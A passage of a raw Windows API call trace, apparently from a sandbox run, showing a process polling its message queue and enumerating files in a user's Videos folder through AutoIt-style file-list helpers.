lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0065.344] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0065.345] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0065.345] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0065.345] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0065.345] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0065.345] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0065.345] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0065.345] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0065.345] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s", cchCount1=1, lpString2="\\", cchCount2=1) returned 3 [0065.345] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0065.345] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0065.345] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0065.345] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0065.345] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0065.346] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0065.346] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0065.346] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0065.346] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0065.346] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0065.346] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0065.346] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0065.346] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0065.346] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0065.346] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0065.346] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0065.346] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0065.346] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0065.346] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0065.346] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0065.346] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0065.346] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0065.346] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="*.*", cchCount1=3, lpString2="*", cchCount2=1) returned 3 [0065.346] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0065.346] CharUpperBuffW (in: lpsz="__FLTAR_LISTTOMASK", cchLength=0x12 | out: lpsz="__FLTAR_LISTTOMASK") returned 0x12 [0065.346] PeekMessageW (in: lpMsg=0x130ecc4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecc4) returned 0 [0065.347] PeekMessageW (in: lpMsg=0x130ecc4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecc4) returned 0 [0065.347] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="*.*", cchCount1=1, lpString2=";", cchCount2=1) returned 1 [0065.347] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".*", cchCount1=1, lpString2=";", cchCount2=1) returned 1 [0065.347] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="*", cchCount1=1, lpString2=";", cchCount2=1) returned 1 [0065.347] PeekMessageW (in: lpMsg=0x130ecc4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecc4) returned 0 [0065.347] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="*\\.*", cchCount1=1, lpString2="?", cchCount2=1) returned 1 [0065.347] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\.*", cchCount1=1, lpString2="?", cchCount2=1) returned 3 [0065.347] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".*", cchCount1=1, lpString2="?", cchCount2=1) returned 1 [0065.347] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="*", cchCount1=1, lpString2="?", cchCount2=1) returned 1 [0065.347] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="*\\.*", cchCount1=1, lpString2="*", cchCount2=1) returned 2 [0065.347] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\.*", cchCount1=1, lpString2="*", cchCount2=1) returned 3 [0065.347] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".*", cchCount1=1, lpString2="*", cchCount2=1) returned 3 [0065.347] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="*", cchCount1=1, lpString2="*", cchCount2=1) returned 2 [0065.347] PeekMessageW (in: lpMsg=0x130ecc4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecc4) returned 0 [0065.347] PeekMessageW (in: lpMsg=0x130ecc4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecc4) returned 0 [0065.347] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0065.347] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0065.347] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0065.347] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0065.347] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0065.347] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0065.347] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0065.348] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0065.348] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0065.348] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0065.348] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0065.348] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0065.348] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0065.348] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0065.348] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0065.348] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0065.348] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0065.348] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0065.348] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0065.348] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0065.348] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0065.348] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0065.348] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0065.348] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0065.348] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0065.348] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0065.348] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0065.349] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0065.349] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0065.349] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0065.349] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0065.349] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0065.349] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0065.349] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0065.349] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0065.349] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\*", lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 0x164cab0 [0065.349] FindNextFileW (in: hFindFile=0x164cab0, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0065.350] FindNextFileW (in: hFindFile=0x164cab0, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0065.350] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0065.350] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0065.350] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0065.350] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0065.350] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0065.350] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0065.350] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0065.350] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0065.350] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0065.350] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0065.350] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0065.350] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0065.350] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0065.350] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0065.350] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="D", cchCount1=1, lpString2="D", cchCount2=1) returned 2 [0065.350] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0065.351] FindNextFileW (in: hFindFile=0x164cab0, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0065.351] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0065.351] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0065.351] FindNextFileW (in: hFindFile=0x164cab0, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0065.351] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ASH", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0065.351] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SH", cchCount1=1, lpString2="D", cchCount2=1) returned 3 [0065.351] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="H", cchCount1=1, lpString2="D", cchCount2=1) returned 3 [0065.351] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0065.351] FindNextFileW (in: hFindFile=0x164cab0, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0065.351] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="D", cchCount1=1, lpString2="D", cchCount2=1) returned 2 [0065.352] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0065.352] FindNextFileW (in: hFindFile=0x164cab0, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0065.352] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0065.352] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0065.353] FindNextFileW (in: hFindFile=0x164cab0, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0065.353] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0065.353] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0065.353] FindNextFileW (in: hFindFile=0x164cab0, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0065.353] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0065.353] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0065.353] FindNextFileW (in: hFindFile=0x164cab0, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0065.353] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0065.353] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0065.354] FindNextFileW (in: hFindFile=0x164cab0, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0065.354] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="D", cchCount1=1, lpString2="D", cchCount2=1) returned 2 [0065.354] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0065.354] FindNextFileW (in: hFindFile=0x164cab0, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0065.354] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0065.354] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0065.355] FindNextFileW (in: hFindFile=0x164cab0, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 0 [0065.356] FindClose (in: hFindFile=0x164cab0 | out: hFindFile=0x164cab0) returned 1 [0065.357] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\*", lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 0x164cb30 [0065.358] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0065.358] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0065.359] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0065.371] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0065.371] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0065.371] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0065.371] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0065.371] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0065.371] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0065.371] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0065.371] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0065.371] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0065.371] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0065.371] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0065.383] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0065.384] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0065.385] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0065.385] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0065.385] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0065.386] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0065.386] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0065.387] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0065.387] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0065.387] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0065.388] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0065.389] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0065.389] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0065.390] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0065.391] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0065.391] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0065.391] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0065.392] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0065.392] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0065.392] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0065.393] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0065.393] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0065.394] CharUpperBuffW (in: 